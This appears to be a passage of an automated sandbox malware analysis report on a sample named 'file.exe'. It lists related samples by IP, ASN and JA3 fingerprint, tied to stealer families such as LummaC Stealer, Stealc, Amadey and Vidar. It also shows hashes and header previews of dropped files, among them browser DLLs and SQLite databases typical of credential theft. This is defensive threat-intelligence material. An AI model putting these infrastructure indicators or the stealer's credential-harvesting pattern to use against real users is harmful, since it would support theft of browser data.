	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.149.128.2
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.107.221.82

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.84.150
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	34.118.84.150
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.118.84.150
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	qNdO4D18CF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.66.0.102
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DGCFHIDAKECFHIEBFCGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJDGCBGDBKJKFHIECBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDAFHDHCBFIDGCFIDGHJDGDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJJDGHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAFBKECAKFCAAAKJDAKJEGDAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECGHIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHCAEGCBFHJDGCBFHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2028032
Entropy (8bit):	7.946695351883144
Encrypted:	false
SSDEEP:	49152:y97wx4fROFtBK7/i87PUMaPBzGY0DTI8SWKG4uODKAJ:EpfYke+dqaYonZD4
MD5:	97E06ACDD95DB30F5421CD163F25EC93
SHA1:	FC2E75139C5D25A46C3FA0E7A0EBE032DCA3519A
SHA-256:	DF1E3B3A4009381AF205E8B587BB0F8B199793968DACC09822091A5C218A3002
SHA-512:	70CC4219B97E3BE837B5B21FA81E4D514E7C3C347B37588FAE4011B234CA6EA7A627491CDE6E3E51E7FBD244C2917E1C71D4B9DFDC8E7221B5803C438D31E760
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........RC..<...<...<......<......<.....<..~G...<...=.3.<......<......<......<.Rich..<.........PE..L....[.d.................\|............K...........@...........................K.............................................[...o....`..4....................................................WK..................................................... . .P..........................@....rsrc...4....`...<..................@....idata ............................@... ..).........................@...zeyoifdy......0.....................@...tiucznkd......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922112
Entropy (8bit):	6.59128843061795
Encrypted:	false
SSDEEP:	24576:MqDEvCTbMWu7rQYlBQcBiT6rprG8aqQL:MTvC/MTQYxsWR7aqQ
MD5:	59273AA6B93B5F014D8392A1353AFF19
SHA1:	6DB4AA3C2AF209B86DF53604D6EE61454DA9BDA1
SHA-256:	29230CBA36BF19F8C5D94EAB4D811446F7B6E0E11F254491266C47AE5925CCDB
SHA-512:	7134E103EA34BC4D11E7118C0DCD6FC581DD28B5BA0C6A047E8B01EC8352C0C81B5C559C4511F16570B822F0CF9F342519BB2A7B75E7C035BD645AEFC770E32A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
